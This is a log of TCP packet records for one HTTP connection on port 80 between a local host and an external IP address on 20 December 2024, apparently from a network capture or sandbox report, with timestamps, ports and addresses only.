Dec 20, 2024 22:52:36.966612101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.966662884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.966721058 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.967402935 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.967457056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:36.967484951 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:36.967535973 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.030680895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.030761003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.030776024 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.030818939 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.030931950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.031034946 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.031080961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.031749964 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.031796932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.031838894 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.031886101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.032582998 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.032654047 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.032684088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.032726049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.033386946 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.033432961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.033499002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.033541918 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.034214973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.034333944 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.034343004 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.034374952 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.035052061 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.035275936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.035286903 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.035336018 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.035903931 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.035948992 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.036063910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.036106110 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.036726952 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.036777973 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.036940098 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.036983013 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.037539005 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.037678957 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.037689924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.037828922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.038384914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.038456917 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.038554907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.038623095 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.039206028 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.039292097 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.039325953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.039684057 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.040039062 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.040153027 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.040215969 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.040880919 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.040982008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.041037083 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.041706085 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.041757107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.041815042 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.041862965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.042536974 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.042603970 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.042640924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.042819023 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.043359041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.043422937 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.043461084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.043505907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.044224024 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.044325113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.044379950 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.045042992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.045093060 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.045130968 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.045348883 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.045860052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.045922041 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.045972109 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.046019077 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.046693087 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.046808958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.046864033 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.047533035 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.047579050 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.047657967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.047707081 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.048449993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.048516035 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.048544884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.048928976 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.049182892 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.049292088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.049340963 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.050029993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.050098896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.050240993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.050312996 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.050884962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.050952911 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.051083088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.051143885 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.051852942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.051913977 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.052072048 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.052333117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.150975943 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.150988102 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.151051998 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.151181936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.151226997 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.151292086 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.151338100 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.151993990 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.152046919 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.152123928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.152168989 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.152846098 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.153007030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.153060913 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.153676033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.153727055 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.153760910 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.153805971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.154511929 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.154565096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.154622078 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.154670954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.155323982 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.155381918 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.155436993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.155482054 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.156249046 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.156341076 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.156397104 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.157033920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.157078028 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.157107115 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.157150030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.157800913 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.157866001 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.157902002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.157948971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.158624887 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.158674955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.158783913 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.158832073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.159480095 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.159531116 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.159579039 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.159626961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.160294056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.160419941 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.160474062 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.161170006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.161221027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.161245108 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.161288977 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.161966085 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.162014008 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.162046909 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.162087917 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.162940979 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.162991047 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.163238049 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.163285971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.163758993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.163778067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.163808107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.163820982 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.164458990 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.164581060 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.164627075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.165280104 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.165329933 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.165395975 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.165445089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.166120052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.166171074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.166202068 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.166246891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.167001009 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.167052984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.167083979 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.167126894 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.167774916 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.167826891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.167876959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.167926073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.168612003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.168694019 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.168746948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.169421911 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.169487000 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.169517994 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.169564009 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.170255899 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.170320034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.170362949 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.170412064 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.171114922 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.171164036 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.171214104 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.171256065 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.171921015 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.172023058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.172075033 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.223010063 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.223104000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.223180056 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.223331928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.223347902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.223381042 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.223421097 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.224061966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.224173069 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.224227905 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.224894047 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.224944115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.225003004 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.225045919 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.225958109 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.226008892 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.226183891 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.226237059 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.226623058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.226639032 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.226670980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.226686954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.227435112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.227509022 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.227560043 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.228207111 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.228327990 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.228379965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.229048014 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.229099035 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.229139090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.229183912 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.229904890 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.229954958 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.230003119 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.230052948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.230684996 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.230739117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.230787992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.230834961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.231559992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.231616020 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.231663942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.231709957 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.232355118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.232407093 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.232552052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.233222008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.233273029 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.233300924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.233341932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.234016895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.234072924 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.234137058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.234186888 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.234891891 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.234973907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.234982967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.235029936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.235709906 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.235764980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.235981941 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.236515045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.236577034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.236608982 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.236658096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.237334967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.237396955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.237488985 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.237536907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.238146067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.238198042 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.238390923 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.238435030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.238996029 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.239046097 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.239103079 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.239151955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.239942074 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.240008116 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.240009069 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.240653992 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.240709066 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.240757942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.240802050 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.241480112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.241530895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.241677999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.241728067 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.242316961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.242366076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.242417097 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.242465973 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.243160963 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.243206024 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.243244886 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.243293047 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.243990898 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.244041920 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.244123936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.244174004 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.343209028 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.343283892 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.343285084 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.343553066 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.343576908 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.343647003 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.343669891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.343879938 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.344212055 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.344269037 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.344315052 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.344357014 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.345006943 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.345063925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.345132113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.345246077 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.345829964 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.345895052 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.345933914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.346219063 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.346657991 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.346709013 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.346757889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.346801043 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.347513914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.347646952 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.347707033 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:37.348331928 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:37.348380089 CET	49786	80	192.168.2.6	185.219.81.132
